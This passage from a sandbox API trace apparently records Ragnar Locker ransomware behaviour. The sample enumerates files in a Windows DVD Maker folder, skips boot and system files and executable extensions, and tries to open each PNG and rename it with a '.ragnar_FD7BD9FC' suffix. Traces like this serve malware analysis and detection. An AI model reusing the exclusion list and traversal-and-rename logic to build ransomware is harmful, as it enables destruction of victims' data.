ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0079.052] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x815b7560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x815b7560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.052] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x815b7560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x815b7560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.052] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.052] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.052] lstrcpyW (in: lpString1=0x1eab56, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.052] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png") returned=".png" [0079.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0079.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0079.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0079.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0079.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0079.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0079.053] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0079.053] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.053] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.053] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.053] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.053] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.053] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.053] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0079.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.053] CloseHandle (hObject=0xffffffff) returned 0 [0079.053] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" [0079.053] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.ragnar_FD7BD9FC" [0079.053] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.054] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.054] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.054] lstrcpyW (in: lpString1=0x1eab56, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0079.054] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png") returned=".png" [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="autorun.inf") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootfont.bin") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootsect.bak") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr.efi") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgfw.efi") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="iconcache.db") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat.log") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.ini") returned -1 [0079.054] lstrcmpiW (lpString1="15x15dot.png", lpString2="thumbs.db") returned -1 [0079.054] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.054] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.054] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.054] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.054] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.054] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.054] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0079.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.055] CloseHandle (hObject=0xffffffff) returned 0 [0079.055] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" [0079.055] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.ragnar_FD7BD9FC" [0079.055] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.055] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0079.055] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.055] lstrcpyW (in: lpString1=0x1eab56, lpString2="decorative_rule.png" | out: lpString1="decorative_rule.png") returned="decorative_rule.png" [0079.055] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned=".png" [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="autorun.inf") returned 1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="boot.ini") returned 1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="bootfont.bin") returned 1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="bootsect.bak") returned 1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="bootmgr") returned 1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="bootmgr.efi") returned 1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="bootmgfw.efi") returned 1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="desktop.ini") returned -1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="iconcache.db") returned -1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="ntldr") returned -1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="ntuser.dat") returned -1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="ntuser.dat.log") returned -1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="ntuser.ini") returned -1 [0079.055] lstrcmpiW (lpString1="decorative_rule.png", lpString2="thumbs.db") returned -1 [0079.055] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.055] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.055] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.055] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.056] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.056] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.056] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0079.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.056] CloseHandle (hObject=0xffffffff) returned 0 [0079.056] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" [0079.056] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.ragnar_FD7BD9FC" [0079.057] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.057] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.057] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.057] lstrcpyW (in: lpString1=0x1eab56, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.057] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.057] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.057] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.057] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.057] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.057] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.057] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.057] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.057] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0079.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.058] CloseHandle (hObject=0xffffffff) returned 0 [0079.058] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" [0079.058] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.058] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.058] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.058] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.058] lstrcpyW (in: lpString1=0x1eab56, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.058] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.058] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.059] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.059] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.059] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.059] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.059] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.059] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.059] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.059] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.059] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.059] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0079.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.059] CloseHandle (hObject=0xffffffff) returned 0 [0079.059] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" [0079.059] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.059] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), 